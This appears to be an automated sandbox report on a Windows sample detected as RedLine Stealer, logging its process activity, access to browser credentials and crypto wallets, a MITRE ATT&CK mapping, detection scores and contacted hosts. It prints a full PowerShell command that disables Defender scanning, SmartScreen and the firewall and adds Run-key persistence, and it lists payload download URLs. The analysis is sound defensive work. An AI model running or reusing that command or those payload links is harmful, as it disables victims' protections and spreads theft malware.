Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM

Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM

Source: System.exe, 00000014.00000003.590193581.000001F1F9B85000.00000004.00000020.00020000.00000000.sdmp, UpSys.exe, 00000045.00000000.659706294.0000000140097000.00000002.00000001.01000000.00000010.sdmp, UpSys.exe, 00000057.00000000.685797175.0000000140097000.00000002.00000001.01000000.00000010.sdmp

Binary or memory string: ASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Queries volume information: C:\ProgramData\Systemd VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Queries volume information: C:\ProgramData\Systemd VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\e4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\netsh.exe "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off

Modifies the windows firewall

Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)

Source: C:\Users\user\Desktop\e4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\e4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\e4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\e4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\e4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\e4.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: e4.exe, 00000000.00000002.587391061.0000000006E5E000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.585717609.0000000006DA0000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: e4.exe, type: SAMPLE
Source: Yara match	File source: 0.0.e4.exe.a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.416391043.0000000000A12000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e4.exe PID: 632, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\e4.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Users\user\Desktop\e4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Source: Yara match

File source: Process Memory Space: e4.exe PID: 632, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: e4.exe, type: SAMPLE
Source: Yara match	File source: 0.0.e4.exe.a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.416391043.0000000000A12000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e4.exe PID: 632, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	1 Windows Service	1 Windows Service	311 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	12 Process Injection	2 Obfuscated Files or Information	1 Input Capture	124 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	2 Registry Run Keys / Startup Folder	12 Software Packing	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Timestomp	NTDS	751 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	12 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	13 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	551 Virtualization/Sandbox Evasion	Cached Domain Credentials	551 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	12 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
e4.exe	59%	Virustotal		Browse
e4.exe	100%	Avira	HEUR/AGEN.1211757
e4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\MicrosoftNetwork\System.exe	100%	Avira	HEUR/AGEN.1211746
C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	100%	Avira	HEUR/AGEN.1211746
C:\ProgramData\MicrosoftNetwork\System.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	100%	Joe Sandbox ML
C:\ProgramData\MicrosoftNetwork\System.exe	58%	Virustotal		Browse
C:\ProgramData\MicrosoftNetwork\System.exe	62%	ReversingLabs	Win64.Trojan.Miner
C:\ProgramData\UpSys.exe	4%	Virustotal		Browse
C:\ProgramData\UpSys.exe	0%	Metadefender		Browse
C:\ProgramData\UpSys.exe	2%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\UpSys[1].exe	4%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\UpSys[1].exe	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\UpSys[1].exe	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	58%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	62%	ReversingLabs	Win64.Trojan.Miner

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.0.e4.exe.a10000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File
0.2.e4.exe.a10000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
https://cdn.discordapp.com4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id3Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	52.217.195.249	true	false	high
bitbucket.org	104.192.141.1	true	false	high
cdn.discordapp.com	162.159.129.233	true	false	high
iplogger.org	148.251.234.83	true	false	high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bitbucket.org/tilttilttilt/test1/downloads/CPU.zip	false		high
http://iplogger.org/1fEwd7	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	e4.exe, 00000000.00000002.546357851.0000000004324000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.552504535.0000000005071000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.549434824.0000000004EFA000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546189410.00000000042FE000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546430561.000000000433B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	e4.exe, 00000000.00000002.546430561.000000000433B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.541907606.0000000004013000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	e4.exe, 00000000.00000002.539257783.0000000003DE1000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
